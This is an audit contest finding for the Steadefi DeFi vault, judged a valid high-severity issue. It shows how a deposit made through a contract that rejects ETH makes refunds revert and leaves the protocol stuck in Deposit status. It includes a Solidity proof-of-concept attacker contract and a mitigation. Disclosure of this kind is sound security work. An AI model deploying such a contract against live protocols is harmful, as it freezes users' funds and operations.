Steadefi

Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Submission Details
Severity: high
Valid

Protocol susceptible to DOS due to ETH transfer fails

Summary

If an address is unable to receive ETH, the Protocol will remain in either a 'Deposit` state until a keeper intervention.

Vulnerability Details

The issue lies in the fact that processDepositCancellation aims to send back ETH to the initiator of the deposit, but this might not be possible if the initiator of the depositNative function is a contract that cannot receive ETH.
This will cause the contract to be stuck in Deposit status.

// Return user's deposited asset
// If native token is being withdrawn, we convert wrapped to native
if (self.depositCache.depositParams.token == address(self.WNT)) {
self.WNT.withdraw(self.WNT.balanceOf(address(this)));
(bool success, ) = self.depositCache.user.call{value: address(this).balance}("");
@> require(success, "Transfer failed.");

If a malicious user observes that GMX lacks the necessary supply to fulfill a deposit or detects the occurrence of a processDepositCancellation event, they might exploit the situation by initiating a depositNative operation through a contract that doesn't have a way of receiving eth. It's highly likely that this operation will trigger the processDepositCancellation function. In such a scenario, the ETH cannot be returned to the contract, ultimately leading to a failed ETH transfer to the contract that initiated depositNative function, consequently, causing DoS, because we the protocol cannot exit the Deposit Status.

This would be would be a exploit execution:

Jack deposit funds through this CreateDepositContract contract to the steadify protocol.
The GMX protocol reverts the transaction.
Steadify tries to send eth back to CreateDepositContract contract but reverts each time, since the CreateDepositContract cannot accept ETH.
The steadify protocol is now stuck in a Deposit State

This kind of contract could be use the trigger the system's DoS state.

pragma solidity 0.8.21;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
interface IVault {
function depositNative (GMXTypes.DepositParams memory dp) payable external;
}
contract CreateDepositContract {
GMXTypes.DepositParams depositParams;
IVault public vault;
constructor(address _vault, address _GMXRouter) payable {
vault = IVault(_vault);
}
function giveAllowance(address weth, address usdc) public {
IERC20(weth).approve(address(vault), type(uint256).max);
IERC20(usdc).approve(address(vault), type(uint256).max);
}
function createDepositNative(address token, uint256 amt, uint256 slippageFee, uint minSharesAmt, uint256 executionFee) payable public {
depositParams.token = token;
depositParams.amt = amt;
depositParams.minSharesAmt = minSharesAmt;
depositParams.slippage = slippageFee;
depositParams.executionFee = executionFee;
vault.depositNative{value: depositParams.executionFee}(depositParams);
}
}

Impact

Executing this type of attack is relatively inexpensive ( 0.09 USD + executionFee ) and will result in the protocol being immobilized until the protocol's keeper intervenes. A medium severity impact grade is therefore attributed, since there is a DoS risk.

Tools Used

Manual review

Recommendations

One way to mitigate this would be to send back WNT to the user instead of ETH to the user.

Updates

Lead Judging Commences

hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.